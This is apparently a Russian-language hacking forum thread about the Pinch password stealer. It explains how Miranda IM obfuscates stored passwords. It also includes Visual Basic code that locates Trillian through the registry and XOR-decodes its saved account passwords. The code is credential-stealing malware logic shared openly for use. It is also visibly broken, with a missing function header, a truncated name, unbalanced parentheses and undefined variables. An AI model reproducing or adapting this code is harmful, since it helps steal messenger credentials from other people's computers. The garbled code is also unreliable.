не на шёл я там нечего на делфи. Парсер есть какой-то (Pinch.TBP) но я так понял это уже скомпилированный. А вообще почему ты говоришь что в пинче на асме нет алгоритмов расшифровки, вот пример модуля из пинча который добывает пароли к 2003 аси
А что, неужели есть более продвинутые методы подбора пароля по хешу нежели перебор по словарю? А ежели хешируемый пароль длиннее 14 символов - есть идеи?
Хэш может быть "слабым", т.е. существует алгоритм, который позволяет сделать меньше число перебираемых ключей, чем все, для MD5 и SHA1 нашли такую вещь, но время перебора сократилось непринципиально. Если я правильно тебя понял, то если хэшируемый пароль длиннее 14 символов, после нахождения LM-коллизии придется искать NT-коллизию заметно дольше.
2HACKER: во первых, в пинче никогда небыло дешифровки. Пинч вытаскивает значения, а дешифрует парсер и только. Исходник его: Pinch\Sources\ParserOnly
Далее, о миранде: в файле миранды все пассы сохраняються в файлах xxxxx.dat. Структура файла не тяжелая, но много гемора будет. Там уин записан в обратном порядке байта как DWORD и пасс возле него, с каждого аскии код символа пасса надо вычитать 5.
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
Public Type TrillianUser
Number As String
Password As String
End Type
Public Function GetTrillianPasswords(TrillianUsers() As TrillianUser) As Long
Dim adVal As Long, SectName As String
Do Until Len(GetTU(SectName).Number) = 0&
SectName = "profile " & adVal
If Len(GetTU(SectName).Number) Then
ReDim Preserve TrillianUsers(adVal)
TrillianUsers(adVal).Number = GetTU(SectName).Number
TrillianUsers(adVal).Password = GetTU(SectName).Password
End If
adVal = adVal + vbNull
Loop
GetTrillianPasswords = adVal - 2&
End Function
Private Function GetTU(ByRef Sect As String) As TrillianUser
Dim gTmp As String * 32, bPath As String, bLen As Long
For i = vbNull To Len(pStr) Step 2&
 ecodeTrillianPassword = DecodeTrillianPassword & Chr$(Val("&H" & Mid$(pStr, i, 2&) Xor pTab(i \ 2&)
Next
End Function
Private Function GetTrillianPath() As String
Dim hOpen As Long, hBuff As String, lDataBufSize As Long, e As Long
If Not RegOpenKeyEx(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Trillian", 0&, &H3F, hOpen) = 0& Then Exit Function
If Not RegQueryValueEx(hOpen, "UninstallString", 0&, 1, ByVal 0&, lDataBufSize) = 0& Then Exit Function
GetTrillianPath = String$(lDataBufSize, 0&
If Not RegQueryValueEx(hOpen, "UninstallString", 0, 1, ByVal GetTrillianPath, lDataBufSize) = 0& Then Exit Function
Call RegCloseKey(hOpen)
GetTrillianPath = Left$(GetTrillianPath, Len(GetTrillianPath) - vbNull)
GetTrillianPath = Left(GetTrillianPath, Len(GetTrillianPath) - (InStr(vbNull, StrReverse(GetTrillianPath), "\" - vbNull))
End Function